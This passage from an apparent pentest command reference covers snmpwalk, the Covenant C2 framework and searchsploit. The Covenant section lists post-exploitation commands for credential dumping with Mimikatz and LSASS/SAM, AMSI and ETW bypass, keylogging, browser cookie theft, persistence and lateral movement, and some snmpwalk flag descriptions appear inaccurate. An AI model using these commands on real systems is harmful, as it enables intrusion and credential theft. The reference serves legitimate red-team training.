-T 5 -r 2 ```bash snmpcheck -t 192.168.1.1 -c public -v 2c -w -d -T 5 -r 2 ``` The ultimate full-feature command employing all major flags for maximum enumeration and reliability. ## Related tools - [snmpwalk](https://terminal.rokibulroni.com/tool/enumeration/snmpwalk) # Tool: snmpwalk > Walks an SNMP agent’s MIB tree with GETNEXT requests, retrieving everything the community string exposes. - Category: Enumeration - Commands: 60 - Page: https://terminal.rokibulroni.com/tool/enumeration/snmpwalk - Homepage: http://www.net-snmp.org - Documentation: http://www.net-snmp.org/docs/man/snmpwalk.html - Tags: SNMP, MIB ## Install - apt: `sudo apt install snmp` - brew: `brew install net-snmp` ## Basic SNMP Enumeration ### snmpwalk -v 1 -c public 192.168.1.1 ```bash snmpwalk -v 1 -c public 192.168.1.1 ``` Performs a basic SNMP walk using the older SNMPv1 protocol and community string. ### snmpwalk -v 2c -c public 192.168.1.1 ```bash snmpwalk -v 2c -c public 192.168.1.1 ``` Executes a standard walk using the widely supported SNMPv2c protocol. ## OID Based Enumeration ### snmpwalk -v 2c -c public 192.168.1.1 system ```bash snmpwalk -v 2c -c public 192.168.1.1 system ``` Restricts the walk specifically to the 'system' subtree to gather device details. ### snmpwalk -v 2c -c public 192.168.1.1 1.3.6.1.2.1.1 ```bash snmpwalk -v 2c -c public 192.168.1.1 1.3.6.1.2.1.1 ``` Queries the system information subtree using its numeric OID representation. ## Output Formatting ### snmpwalk -v 2c -c public -On 192.168.1.1 ```bash snmpwalk -v 2c -c public -On 192.168.1.1 ``` Displays output OIDs numerically (e.g., .1.3.6...) instead of using symbolic names. ### snmpwalk -v 2c -c public -Of 192.168.1.1 ```bash snmpwalk -v 2c -c public -Of 192.168.1.1 ``` Shows the full path of the OID symbolic name in the output. ### snmpwalk -v 2c -c public -Os 192.168.1.1 ```bash snmpwalk -v 2c -c public -Os 192.168.1.1 ``` Displays only the last symbolic part of the OID for cleaner reading. ### snmpwalk -v 2c -c public -Oq 192.168.1.1 ```bash snmpwalk -v 2c -c public -Oq 192.168.1.1 ``` Enables 'quick' print mode for easier parsing, removing the equal sign and type information. ### snmpwalk -v 2c -c public -Ov 192.168.1.1 ```bash snmpwalk -v 2c -c public -Ov 192.168.1.1 ``` Outputs only the values of the variables, hiding the OID names entirely. ### snmpwalk -v 2c -c public -Ox 192.168.1.1 ```bash snmpwalk -v 2c -c public -Ox 192.168.1.1 ``` Forces string values to be displayed in Hexadecimal format. ### snmpwalk -v 2c -c public -Ob 192.168.1.1 ```bash snmpwalk -v 2c -c public -Ob 192.168.1.1 ``` Forces output to display bit indexes where available. ### snmpwalk -v 2c -c public -Oe 192.168.1.1 ```bash snmpwalk -v 2c -c public -Oe 192.168.1.1 ``` Removes symbolic labels from enumerated values, showing the raw integer instead. ### snmpwalk -v 2c -c public -Ot 192.168.1.1 ```bash snmpwalk -v 2c -c public -Ot 192.168.1.1 ``` Displays timeticks as raw integers instead of formatted time strings. ### snmpwalk -v 2c -c public -OT 192.168.1.1 ```bash snmpwalk -v 2c -c public -OT 192.168.1.1 ``` Forces hexadecimal display specifically for transport address values. ## Rate and Performance Control ### snmpwalk -v 2c -c public -t 5 192.168.1.1 ```bash snmpwalk -v 2c -c public -t 5 192.168.1.1 ``` Sets the timeout to 5 seconds to wait longer for responses from slow devices. ### snmpwalk -v 2c -c public -r 3 192.168.1.1 ```bash snmpwalk -v 2c -c public -r 3 192.168.1.1 ``` Configures the tool to retry the request 3 times if no response is received. ## MIB Usage and Name Resolution ### snmpwalk -v 2c -c public -m ALL 192.168.1.1 ```bash snmpwalk -v 2c -c public -m ALL 192.168.1.1 ``` Loads all available MIB modules to resolve OIDs to names as much as possible. ### snmpwalk -v 2c -c public -M /opt/mibs 192.168.1.1 ```bash snmpwalk -v 2c -c public -M /opt/mibs 192.168.1.1 ``` Specifies a custom directory to look for MIB files. ## Advanced Error Handling ### snmpwalk -v 2c -c public -Cc 192.168.1.1 ```bash snmpwalk -v 2c -c public -Cc 192.168.1.1 ``` Disables the check that ensures OIDs are returned in increasing order. ### snmpwalk -v 2c -c public -Ci 192.168.1.1 ```bash snmpwalk -v 2c -c public -Ci 192.168.1.1 ``` Includes the requested OID itself in the output, which is usually skipped. ### snmpwalk -v 2c -c public -Cp 192.168.1.1 ```bash snmpwalk -v 2c -c public -Cp 192.168.1.1 ``` Prints statistics about how many variables were found at the end of the walk. ### snmpwalk -v 2c -c public -Ct 192.168.1.1 ```bash snmpwalk -v 2c -c public -Ct 192.168.1.1 ``` Prints the total wall-clock time taken to complete the walk upon completion. ## Debug and Verbose Modes ### snmpwalk -v 2c -c public -d 192.168.1.1 ```bash snmpwalk -v 2c -c public -d 192.168.1.1 ``` Dumps the raw input and output SNMP packets for low-level debugging. ### snmpwalk -v 2c -c public -D all 192.168.1.1 ```bash snmpwalk -v 2c -c public -D all 192.168.1.1 ``` Enables verbose debugging output for all internal SNMP library tokens. ## Target and Transport Specification ### snmpwalk -v 2c -c public tcp:192.168.1.1 ```bash snmpwalk -v 2c -c public tcp:192.168.1.1 ``` Forces the connection to use TCP instead of the default UDP transport. ### snmpwalk -v 2c -c public udp6:[::1] ```bash snmpwalk -v 2c -c public udp6:[::1] ``` Targets an IPv6 address using UDP explicitly. ### snmpwalk -v 2c -c public 192.168.1.1:1161 ```bash snmpwalk -v 2c -c public 192.168.1.1:1161 ``` Specifies a custom destination port (1161) instead of the default 161. ## User Based Security Model (USM) ### snmpwalk -v 3 -u myuser -l noAuthNoPriv 192.168.1.1 ```bash snmpwalk -v 3 -u myuser -l noAuthNoPriv 192.168.1.1 ``` Uses SNMPv3 with a username but without authentication or privacy (encryption). ## Authentication Protocols ### snmpwalk -v 3 -u myuser -l authNoPriv -a MD5 -A mypassword 192.168.1.1 ```bash snmpwalk -v 3 -u myuser -l authNoPriv -a MD5 -A mypassword 192.168.1.1 ``` Uses SNMPv3 with MD5 authentication but no encryption. ### snmpwalk -v 3 -u myuser -l authNoPriv -a SHA -A mypassword 192.168.1.1 ```bash snmpwalk -v 3 -u myuser -l authNoPriv -a SHA -A mypassword 192.168.1.1 ``` Uses SNMPv3 with SHA authentication but no encryption. ## Privacy Protocols ### snmpwalk -v 3 -u myuser -l authPriv -a MD5 -A authpass -x DES -X privpass 192.168.1.1 ```bash snmpwalk -v 3 -u myuser -l authPriv -a MD5 -A authpass -x DES -X privpass 192.168.1.1 ``` Uses SNMPv3 with MD5 authentication and DES encryption (Privacy). ### snmpwalk -v 3 -u myuser -l authPriv -a SHA -A authpass -x AES -X privpass 192.168.1.1 ```bash snmpwalk -v 3 -u myuser -l authPriv -a SHA -A authpass -x AES -X privpass 192.168.1.1 ``` Uses SNMPv3 with SHA authentication and AES encryption (Privacy). ### snmpwalk -v 3 -u myuser -l authPriv -a SHA -A authpass -x AES128 -X privpass 192.168.1.1 ```bash snmpwalk -v 3 -u myuser -l authPriv -a SHA -A authpass -x AES128 -X privpass 192.168.1.1 ``` Explicitly specifies AES128 for the privacy protocol in SNMPv3. ## SNMPv3 Contexts ### snmpwalk -v 3 -n contextName -u myuser -l noAuthNoPriv 192.168.1.1 ```bash snmpwalk -v 3 -n contextName -u myuser -l noAuthNoPriv 192.168.1.1 ``` Queries a specific SNMPv3 context name on the target device. ### snmpwalk -v 3 -e 0x8000000001 -u myuser -l noAuthNoPriv 192.168.1.1 ```bash snmpwalk -v 3 -e 0x8000000001 -u myuser -l noAuthNoPriv 192.168.1.1 ``` Specifies the authoritative security engine ID for the SNMPv3 request. ## SNMPv3 Advanced ### snmpwalk -v 3 -Z 10 -u myuser -l noAuthNoPriv 192.168.1.1 ```bash snmpwalk -v 3 -Z 10 -u myuser -l noAuthNoPriv 192.168.1.1 ``` Sets the engine boot count and time for SNMPv3 communication manually. ## Interface Enumeration ### snmpwalk -v 2c -c public 192.168.1.1 ifTable ```bash snmpwalk -v 2c -c public 192.168.1.1 ifTable ``` Walks the Interface Table to list network interfaces and their metrics. ### snmpwalk -v 2c -c public 192.168.1.1 ifXTable ```bash snmpwalk -v 2c -c public 192.168.1.1 ifXTable ``` Walks the Extended Interface Table for high-capacity counters on modern devices. ### snmpwalk -v 2c -c public 192.168.1.1 ifDescr ```bash snmpwalk -v 2c -c public 192.168.1.1 ifDescr ``` Enumerates only the descriptions of the network interfaces. ## Routing Table Enumeration ### snmpwalk -v 2c -c public 192.168.1.1 ipRouteTable ```bash snmpwalk -v 2c -c public 192.168.1.1 ipRouteTable ``` Dumps the device's routing table to understand network topology. ## Address Resolution Enumeration ### snmpwalk -v 2c -c public 192.168.1.1 ipNetToMediaTable ```bash snmpwalk -v 2c -c public 192.168.1.1 ipNetToMediaTable ``` Retrieves the ARP table (IP to MAC mappings) from the target device. ## System and Host Information ### snmpwalk -v 2c -c public 192.168.1.1 hrSWRunTable ```bash snmpwalk -v 2c -c public 192.168.1.1 hrSWRunTable ``` Lists software currently running on the host via the Host Resources MIB. ### snmpwalk -v 2c -c public 192.168.1.1 hrStorageTable ```bash snmpwalk -v 2c -c public 192.168.1.1 hrStorageTable ``` Enumerates storage devices and their usage statistics. ### snmpwalk -v 2c -c public 192.168.1.1 hrSystemProcesses ```bash snmpwalk -v 2c -c public 192.168.1.1 hrSystemProcesses ``` Returns the number of currently active processes on the system. ## Protocol Stats ### snmpwalk -v 2c -c public 192.168.1.1 tcpConnTable ```bash snmpwalk -v 2c -c public 192.168.1.1 tcpConnTable ``` Lists active TCP connections on the device. ### snmpwalk -v 2c -c public 192.168.1.1 udpTable ```bash snmpwalk -v 2c -c public 192.168.1.1 udpTable ``` Lists open UDP listening ports on the device. ## Red Team Reconnaissance ### snmpwalk -v 2c -c public 192.168.1.1 1.3.6.1.4.1 ```bash snmpwalk -v 2c -c public 192.168.1.1 1.3.6.1.4.1 ``` Walks the 'enterprises' subtree to find vendor-specific configurations and potential vulnerabilities. ## Blue Team Asset Inventory ### snmpwalk -v 2c -c public 192.168.1.1 entPhysicalSerialNum ```bash snmpwalk -v 2c -c public 192.168.1.1 entPhysicalSerialNum ``` Extracts serial numbers for hardware components for asset tracking. ## Incident Response ### snmpwalk -v 2c -c public 192.168.1.1 1.3.6.1.2.1.25.4.2.1.2 ```bash snmpwalk -v 2c -c public 192.168.1.1 1.3.6.1.2.1.25.4.2.1.2 ``` Enumerates running process names specifically to identify suspicious activity. ## Advanced Configuration ### snmpwalk -v 2c -c public -Lsd 192.168.1.1 ```bash snmpwalk -v 2c -c public -Lsd 192.168.1.1 ``` Logs messages to syslog with the 'daemon' facility during execution. ### snmpwalk -v 2c -c public -Lf /tmp/snmp.log 192.168.1.1 ```bash snmpwalk -v 2c -c public -Lf /tmp/snmp.log 192.168.1.1 ``` Redirects log messages to a specific file instead of standard output. ## Output Formatting ### snmpwalk -v 2c -c public -O T 192.168.1.1 ```bash snmpwalk -v 2c -c public -O T 192.168.1.1 ``` Ensures that printable characters are hex-encoded to avoid terminal issues. ### snmpwalk -v 2c -c public -O v 192.168.1.1 ```bash snmpwalk -v 2c -c public -O v 192.168.1.1 ``` Outputs only the values (terse mode) which is useful for scripts. ## Combined Real World Walk ### snmpwalk -v 2c -c public -On -t 2 -r 1 192.168.1.1 system ```bash snmpwalk -v 2c -c public -On -t 2 -r 1 192.168.1.1 system ``` Fast system walk with numeric OIDs, short timeout, and low retries for quick scanning. ### snmpwalk -v 3 -u admin -l authPriv -a SHA -A pass -x AES -X priv -Oq 192.168.1.1 ```bash snmpwalk -v 3 -u admin -l authPriv -a SHA -A pass -x AES -X priv -Oq 192.168.1.1 ``` Secure, encrypted walk with quick output formatting for parsing. ### snmpwalk -v 2c -c public -Cp -Ci -Ct 192.168.1.1 ```bash snmpwalk -v 2c -c public -Cp -Ci -Ct 192.168.1.1 ``` Comprehensive audit walk printing stats, time, and ensuring all OIDs are included. ## Input Configuration ### snmpwalk -v 2c -c public -I R 192.168.1.1 ```bash snmpwalk -v 2c -c public -I R 192.168.1.1 ``` Uses random access lookup for the MIB file parsing. ## Alias Usage ### snmpwalk -v 2c -c public 192.168.1.1 nsCache ```bash snmpwalk -v 2c -c public 192.168.1.1 nsCache ``` Walks the Net-SNMP internal cache information subtree. ### snmpwalk -v 2c -c public 192.168.1.1 nsError ```bash snmpwalk -v 2c -c public 192.168.1.1 nsError ``` Walks the Net-SNMP internal error counting subtree. ## Legacy Compatibility ### snmpwalk -v 1 -c public -Oa 192.168.1.1 ```bash snmpwalk -v 1 -c public -Oa 192.168.1.1 ``` Walks using SNMPv1 and forces string output to be ASCII only. ## Related tools - [snmp-check](https://terminal.rokibulroni.com/tool/enumeration/snmpcheck) # Tool: Covenant > A collaborative .NET command-and-control framework with a web interface, built for red teams emulating adversaries. - Category: Exploitation - Commands: 85 - Page: https://terminal.rokibulroni.com/tool/exploitation/covenant - Homepage: https://github.com/cobbr/Covenant - Documentation: https://github.com/cobbr/Covenant/wiki - Tags: C2, red team, .NET ## Install - docker: `git clone --recurse-submodules https://github.com/cobbr/Covenant && cd Covenant/Covenant && docker build -t covenant . && docker run -it -p 7443:7443 -p 80:80 -p 443:443 covenant` ## Server Startup ### git clone --recurse-submodules https://github.com/cobbr/Covenant ```bash git clone --recurse-submodules https://github.com/cobbr/Covenant ``` Clones the Covenant repository including all necessary submodules ### dotnet build ```bash dotnet build ``` Compiles the Covenant solution using the .NET SDK ### dotnet run --project Covenant ```bash dotnet run --project Covenant ``` Starts the Covenant C2 server and web interface ### docker-compose up -d ```bash docker-compose up -d ``` Starts Covenant using the Docker containerized workflow ## Web Interface ### Navigate to https://127.0.0.1:7443 ```bash Navigate to https://127.0.0.1:7443 ``` Example: ```bash Browser > https://127.0.0.1:7443 ``` Accesses the administrative dashboard to register the initial user ## Listener Management ### Create HTTP Listener ```bash Create HTTP Listener ``` Example: ```bash Listeners > Create > HTTP > BindPort 80 ``` Configures a standard HTTP listener for Grunt callbacks ### Create HTTPS Listener ```bash Create HTTPS Listener ``` Example: ```bash Listeners > Create > HTTP > UseSSL True > Certificate ``` Configures an encrypted HTTPS listener with a valid SSL certificate ## Profile Management ### Create Custom Profile ```bash Create Custom Profile ``` Example: ```bash Profiles > Create > HttpProfile > Define Headers ``` Defines custom network traffic indicators to blend in with legitimate traffic ## Launcher Generation ### Generate PowerShell Launcher ```bash Generate PowerShell Launcher ``` Example: ```bash Launchers > PowerShell > Generate ``` Creates a one-liner PowerShell command to execute the Grunt stager ### Generate Binary Launcher ```bash Generate Binary Launcher ``` Example: ```bash Launchers > Binary > Generate > Grunt.exe ``` Compiles a customized executable artifact to launch the Grunt ### Generate MSBuild Launcher ```bash Generate MSBuild Launcher ``` Example: ```bash Launchers > MSBuild > Generate > Grunt.xml ``` Creates an XML project file executable via the MSBuild utility ### Generate HTML Application (HTA) ```bash Generate HTML Application (HTA) ``` Example: ```bash Launchers > HTA > Generate > evil.hta ``` Creates an HTML Application file for client-side execution vectors ## Grunt Session Interaction ### Interact ```bash Interact ``` Example: ```bash Interact ``` Opens the console session for a specific active Grunt ### Task Info ```bash Task Info ``` Example: ```bash Info ``` Displays detailed metadata about the current Grunt session ### SetDelay ```bash SetDelay ``` Example: ```bash SetDelay 10 ``` Changes the sleep interval between callbacks to 10 seconds ### SetJitter ```bash SetJitter ``` Example: ```bash SetJitter 15 ``` Adds a percentage of randomization to the callback interval ### Kill ```bash Kill ``` Terminates the Grunt process on the remote host ## Tasking ### ShellCmd ```bash ShellCmd ``` Example: ```bash ShellCmd /c whoami ``` Executes a basic command prompt command on the target ### PowerShell ```bash PowerShell ``` Example: ```bash PowerShell Get-Date ``` Executes a PowerShell script block or command ## File System ### ListDirectory ```bash ListDirectory ``` Example: ```bash ListDirectory C:\Users\ ``` Lists the contents of the specified directory ### ChangeDirectory ```bash ChangeDirectory ``` Example: ```bash ChangeDirectory C:\Temp ``` Changes the current working directory of the Grunt process ### GetCurrentDirectory ```bash GetCurrentDirectory ``` Prints the current working directory path ### Download ```bash Download ``` Example: ```bash Download C:\Secrets\file.txt ``` Downloads a file from the target machine to the Covenant server ### Upload ```bash Upload ``` Example: ```bash Upload /local/path/tool.exe C:\Temp\tool.exe ``` Uploads a file from the Covenant server to the target machine ## Process Operations ### GetProcess ```bash GetProcess ``` Enumerates all running processes on the target system ### KillProcess ```bash KillProcess ``` Example: ```bash KillProcess 1234 ``` Terminates a specific process by its Process ID (PID) ### CreateProcess ```bash CreateProcess ``` Example: ```bash CreateProcess cmd.exe ``` Spawns a new process on the target system ## Registry Operations ### RegistryRead ```bash RegistryRead ``` Example: ```bash RegistryRead HKEY_CURRENT_USER\Software\Test KeyName ``` Reads a value from the Windows Registry ## Network Enumeration ### GetNetLocalGroup ```bash GetNetLocalGroup ``` Example: ```bash GetNetLocalGroup Administrators ``` Enumerates members of a local group using .NET ### GetNetDomainUser ```bash GetNetDomainUser ``` Enumerates user accounts in the current domain ### GetNetDomainController ```bash GetNetDomainController ``` Identifies the domain controllers for the current domain ### GetNetComputer ```bash GetNetComputer ``` Example: ```bash GetNetComputer -Ping ``` Enumerates computers in the domain and checks reachability ### GetNetShare ```bash GetNetShare ``` Example: ```bash GetNetShare computername ``` Lists network shares available on a specific computer ### ArpScan ```bash ArpScan ``` Example: ```bash ArpScan 192.168.1.0/24 ``` Performs an ARP scan to identify live hosts on the local subnet ### PortScan ```bash PortScan ``` Example: ```bash PortScan 192.168.1.10 1-1024 ``` Performs a TCP connect scan on the specified target and ports ## Host Enumeration ### Seatbelt ```bash Seatbelt ``` Example: ```bash Seatbelt -group=system ``` Runs the Seatbelt safety check tool to enumerate system security settings ### Seatbelt User ```bash Seatbelt User ``` Example: ```bash Seatbelt -group=user ``` Runs Seatbelt checks specifically related to the current user context ### WhoAmI ```bash WhoAmI ``` Example: ```bash WhoAmI /all ``` Displays extensive information about the current user and privileges ## Keylogging ### Keylogger ```bash Keylogger ``` Example: ```bash Keylogger start ``` Starts the keylogging module to capture keystrokes ## Screen Capture ### Screenshot ```bash Screenshot ``` Captures a screenshot of the current user's desktop ## Credential Access ### SafetyKatz ```bash SafetyKatz ``` Safely executes Mimikatz logic to dump LSASS credentials ### DumpLsass ```bash DumpLsass ``` Creates a minidump of the LSASS process for offline analysis ### SamDump ```bash SamDump ``` Dumps the Security Account Manager (SAM) database hashes ## Token Manipulation ### GetSystem ```bash GetSystem ``` Attempts to elevate privileges to SYSTEM using various techniques ### ImpersonateUser ```bash ImpersonateUser ``` Enumerates and impersonates available tokens to escalate privileges ### MakeToken ```bash MakeToken ``` Example: ```bash MakeToken DOMAIN\User Password ``` Creates a new token with specified credentials for network authentication ### RevertToSelf ```bash RevertToSelf ``` Reverts the current thread impersonation back to the original process token ## Kerberos ### Rubeus ```bash Rubeus ``` Example: ```bash Rubeus triage ``` Interacts with Kerberos tickets using the Rubeus assembly ### Kerberoast ```bash Kerberoast ``` Example: ```bash Rubeus kerberoast ``` Attempts to roast service tickets to recover plaintext passwords ### ASREPRoast ```bash ASREPRoast ``` Example: ```bash Rubeus asreproast ``` Attacks users without Kerberos pre-authentication enabled ## Lateral Movement ### WMI ```bash WMI ``` Example: ```bash WMI computername command ``` Executes a command on a remote system via Windows Management Instrumentation ### SharpWMI ```bash SharpWMI ``` Example: ```bash SharpWMI action=exec computername=TARGET command=cmd.exe ``` Uses C# implementation of WMI for stealthier lateral movement ### SharpSsh ```bash SharpSsh ``` Example: ```bash SharpSsh username password target command ``` Executes commands over SSH using a .NET implementation ### PowerShellRemoting ```bash PowerShellRemoting ``` Example: ```bash Invoke-Command -ComputerName TARGET -ScriptBlock { ... } ``` Uses native PowerShell Remoting (WinRM) for lateral movement ## Pivoting ### Connect ```bash Connect ``` Example: ```bash Connect 192.168.1.50 445 ``` Connects to a peer-to-peer SMB Grunt for internal pivoting ### Link ```bash Link ``` Example: ```bash Link TARGET_IP PIPE_NAME ``` Links to a named pipe listener on a remote host ## Assembly Execution ### Assembly ```bash Assembly ``` Example: ```bash Assembly /path/to/Assembly.exe args ``` Loads and executes a .NET assembly in memory without dropping to disk ### InlineAssembly ```bash InlineAssembly ``` Example: ```bash InlineAssembly /path/to/Assembly.exe ``` Executes an assembly within the same AppDomain as the Grunt ## OPSEC & Evasion ### BlockDLLs ```bash BlockDLLs ``` Example: ```bash BlockDLLs True ``` Enables process mitigation policy to block non-Microsoft signed DLLs ### AMSIBypass ```bash AMSIBypass ``` Patches memory to disable the Antimalware Scan Interface ### ETWBypass ```bash ETWBypass ``` Patches memory to disable Event Tracing for Windows logging ## Persistence ### Persist-Registry ```bash Persist-Registry ``` Example: ```bash Persist-Registry KeyName payload ``` Establishes persistence via a Registry Run key ### Persist-ScheduledTask ```bash Persist-ScheduledTask ``` Example: ```bash Persist-ScheduledTask TaskName payload ``` Creates a scheduled task to execute the Grunt payload ### Persist-WMI ```bash Persist-WMI ``` Example: ```bash Persist-WMI EventName payload ``` Creates a WMI event subscription for persistence ## Management ### Jobs ```bash Jobs ``` Lists currently running background jobs on the Grunt ### KillJob ```bash KillJob ``` Example: ```bash KillJob JobID ``` Terminates a specific background job ## Database Recon ### SharpSQL ```bash SharpSQL ``` Example: ```bash SharpSQL query instance ``` Executes SQL queries against MSSQL instances ## Web Recon ### SharpChrome ```bash SharpChrome ``` Example: ```bash SharpChrome cookies ``` Extracts cookies and saved data from Google Chrome ### SharpChromium ```bash SharpChromium ``` Example: ```bash SharpChromium local ``` Extracts data from Chromium-based browsers like Edge ## Cleanup ### Rm ```bash Rm ``` Example: ```bash Rm C:\Temp\artifact.exe ``` Deletes a file from the target filesystem ### Remote Task Kill ```bash Remote Task Kill ``` Example: ```bash Kill ``` Removes the Grunt process to stop beaconing ## Graph View ### Graph View ```bash Graph View ``` Example: ```bash Dashboard > Graph ``` Visualizes the relationship between listeners and Grunts ## Data Management ### Credentials Tab ```bash Credentials Tab ``` Example: ```bash Data > Credentials ``` View and manage captured credentials and hashes ### Downloads Tab ```bash Downloads Tab ``` Example: ```bash Data > Downloads ``` Access files exfiltrated from target systems ## Advanced ### Shellcode ```bash Shellcode ``` Example: ```bash Shellcode /path/to/shellcode.bin ``` Injects and executes raw shellcode into the Grunt process ### Inject ```bash Inject ``` Example: ```bash Inject PID /path/to/shellcode.bin ``` Injects shellcode into a remote process ### Mimikatz ```bash Mimikatz ``` Example: ```bash Mimikatz "sekurlsa::logonpasswords" ``` Executes custom Mimikatz commands directly ### SharpUp ```bash SharpUp ``` Example: ```bash SharpUp audit ``` Checks for common local privilege escalation misconfigurations ### SharpDump ```bash SharpDump ``` Example: ```bash SharpDump PID ``` Creates a memory dump of a specific process using C# ### SharpRDP ```bash SharpRDP ``` Example: ```bash SharpRDP target=IP command=CMD ``` Executes commands over RDP without GUI interaction ### StandBy ```bash StandBy ``` Places the Grunt into a low-activity standby mode ## Users ### User Management ```bash User Management ``` Example: ```bash Users > Create ``` Adds new operators to the Covenant server for collaboration ## Themes ### Theme Configuration ```bash Theme Configuration ``` Example: ```bash Settings > Theme ``` Customizes the visual appearance of the Covenant console ## Validation ### Event Log ```bash Event Log ``` Example: ```bash Reporting > Events ``` Reviews the audit log of all actions taken by operators ### Export Data ```bash Export Data ``` Example: ```bash Data > Export ``` Exports campaign data for reporting and analysis ## Related tools - [Sliver](https://terminal.rokibulroni.com/tool/exploitation/sliver) - [Metasploit Framework](https://terminal.rokibulroni.com/tool/exploitation/metasploit) # Tool: Exploit-DB > The Exploit Database archive: public exploits and proof-of-concept code, searchable offline via its local copy. - Category: Exploitation - Commands: 65 - Page: https://terminal.rokibulroni.com/tool/exploitation/exploitdb - Homepage: https://www.exploit-db.com - Documentation: https://www.exploit-db.com/searchsploit - Tags: exploits, research, CVE ## Install - apt: `sudo apt install exploitdb` ## Basic Usage & Maintenance ### searchsploit -h ```bash searchsploit -h ``` Displays the main help menu and lists all available command-line options ### searchsploit -u ```bash searchsploit -u ``` Updates the local ExploitDB database to the latest version via git ## Basic Exploit Search ### searchsploit wordpress ```bash searchsploit wordpress ``` Performs a broad search for exploits containing the term 'wordpress' ### searchsploit apache ```bash searchsploit apache ``` Searches for all Apache web server related exploits and vulnerabilities ### searchsploit vsftpd ```bash searchsploit vsftpd ``` Locates exploits specifically targeting the vsftpd FTP server software ## Multi-Keyword Search ### searchsploit linux kernel ```bash searchsploit linux kernel ``` Searches for exploits matching both 'linux' and 'kernel' keywords ### searchsploit windows smb ```bash searchsploit windows smb ``` Finds Windows exploits related to the SMB protocol ### searchsploit joomla 3.7 ```bash searchsploit joomla 3.7 ``` Refines search results to Joomla CMS version 3.7 specifically ### searchsploit apache struts 2 ```bash searchsploit apache struts 2 ``` Searches for Apache Struts version 2 vulnerabilities using three keywords ## Title Based Search ### searchsploit -t wordpress ```bash searchsploit -t wordpress ``` Restricts the search strictly to the exploit title, ignoring the path info ### searchsploit -t oracle ```bash searchsploit -t oracle ``` Searches only titles for 'oracle' to reduce false positives from paths ## Exact Match Search ### searchsploit -s "buffer overflow" ```bash searchsploit -s "buffer overflow" ``` Performs a strict exact match search for the phrase 'buffer overflow' ### searchsploit -s "privilege escalation" ```bash searchsploit -s "privilege escalation" ``` Finds exploits explicitly tagged with 'privilege escalation' in the description ## Platform Filtering ### searchsploit --platform windows ```bash searchsploit --platform windows ``` Lists all available exploits specifically for the Windows platform ### searchsploit --platform linux ```bash searchsploit --platform linux ``` Lists all available exploits specifically for the Linux platform ### searchsploit --platform android ```bash searchsploit --platform android ``` Filters the database to show only Android mobile platform exploits ### searchsploit --platform hardware ```bash searchsploit --platform hardware ``` Searches specifically for hardware and IoT device vulnerabilities ## Platform & Keyword Combined ### searchsploit wordpress --platform php ```bash searchsploit wordpress --platform php ``` Searches for WordPress exploits but restricts results to PHP based payloads ## Exploit Type Filtering ### searchsploit --type webapps ```bash searchsploit --type webapps ``` Filters the search results to show only web application vulnerabilities ### searchsploit --type local ```bash searchsploit --type local ``` Displays only local exploits requiring access to the target machine ### searchsploit --type remote ```bash searchsploit --type remote ``` Displays only remote exploits executable over the network ### searchsploit --type dos ```bash searchsploit --type dos ``` Filters results to show Denial of Service (DoS) proof of concept code ## Advanced Filtering ### searchsploit linux kernel --exclude="dos" ```bash searchsploit linux kernel --exclude="dos" ``` Searches for Linux kernel exploits while excluding DoS results ### searchsploit wordpress --exclude="plugin" ```bash searchsploit wordpress --exclude="plugin" ``` Searches for WordPress core vulnerabilities by excluding plugin results ## CVE Based Search ### searchsploit --cve 2021 ```bash searchsploit --cve 2021 ``` Lists all exploits associated with Common Vulnerabilities and Exposures from 2021 ### searchsploit --cve 2017-0144 ```bash searchsploit --cve 2017-0144 ``` Searches for a specific vulnerability by its exact CVE identifier (e.g., EternalBlue) ## Case Sensitivity ### searchsploit -c Apache ```bash searchsploit -c Apache ``` Performs a case-sensitive search to distinguish specific capitalization ## Exploit Inspection ### searchsploit -p 42031 ```bash searchsploit -p 42031 ``` Displays the full path and metadata for the exploit with ID 42031 ### searchsploit -p 12345 --clipboard ```bash searchsploit -p 12345 --clipboard ``` Copies the full path of exploit ID 12345 directly to the clipboard ### searchsploit -x 35661 ```bash searchsploit -x 35661 ``` Opens the source code of exploit ID 35661 in the default pager or text editor ## Exploit Retrieval ### searchsploit -m 12345 ```bash searchsploit -m 12345 ``` Mirrors (copies) the exploit file with ID 12345 to the current working directory ### searchsploit -m 42031 42032 ```bash searchsploit -m 42031 42032 ``` Copies multiple exploit files (IDs 42031 and 42032) to the current directory at once ## Web Integration ### searchsploit -w wordpress ```bash searchsploit -w wordpress ``` Shows the URL to the exploit on Exploit-DB.com instead of the local path ### searchsploit -w --id 12345 ```bash searchsploit -w --id 12345 ``` Generates the direct online link for the specific exploit ID 12345 ## Result Overflow ### searchsploit --overflow ```bash searchsploit --overflow ``` Allows search results to overflow text wrapping for better visibility on wide screens ## Result Formatting ### searchsploit --colour ```bash searchsploit --colour ``` Forces colorized output even when piping results to other commands ### searchsploit --no-colour ```bash searchsploit --no-colour ``` Disables output coloring for cleaner text processing in scripts ## Advanced Search ### searchsploit --strict "remote code execution" ```bash searchsploit --strict "remote code execution" ``` Performs a strict search for the exact phrase 'remote code execution' ## Automation & Scripting ### searchsploit --json wordpress ```bash searchsploit --json wordpress ``` Outputs search results in JSON format for parsing by external tools ### searchsploit -j microsoft windows ```bash searchsploit -j microsoft windows ``` Generates JSON output for a multi-keyword search query ### searchsploit --id 12345 --json ```bash searchsploit --id 12345 --json ``` Returns detailed metadata for a specific ID in JSON format ## Verbose Output ### searchsploit -v wordpress ```bash searchsploit -v wordpress ``` Enables verbose output to see more details about the search process ## Full ID Display ### searchsploit --id wordpress ```bash searchsploit --id wordpress ``` Displays the ExploitDB ID explicitly in the search results columns ## Complex Workflow ### searchsploit samba --type remote --platform linux ```bash searchsploit samba --type remote --platform linux ``` Combines keyword, type, and platform filters for a precise search ### searchsploit -t apache --exclude="(dos|poisoning)" ```bash searchsploit -t apache --exclude="(dos|poisoning)" ``` Searches Apache titles while excluding results matching regex pattern for DoS or poisoning ## Red Team Workflow ### searchsploit priv esc linux kernel 3.10 ```bash searchsploit priv esc linux kernel 3.10 ``` Hunts for privilege escalation exploits on a specific Linux kernel version ### searchsploit windows local --id ```bash searchsploit windows local --id ``` Lists Windows local exploits showing IDs to quickly prepare for mirroring ## Exploit Analysis ### searchsploit --examine 42031 ```bash searchsploit --examine 42031 ``` Opens the exploit code for ID 42031 in the pager for manual code review ## Scripting Integration ### searchsploit apache | grep "Remote" ```bash searchsploit apache | grep "Remote" ``` Pipes search results to grep to filter for 'Remote' exploits using shell utilities ### searchsploit -j wordpress > results.json ```bash searchsploit -j wordpress > results.json ``` Saves the JSON output of a search directly to a file for later analysis ## Advanced Nmap Integration ### searchsploit --nmap file.xml ```bash searchsploit --nmap file.xml ``` Searches for exploits based on service versions detected in an Nmap XML output file ## Database Management ### ls 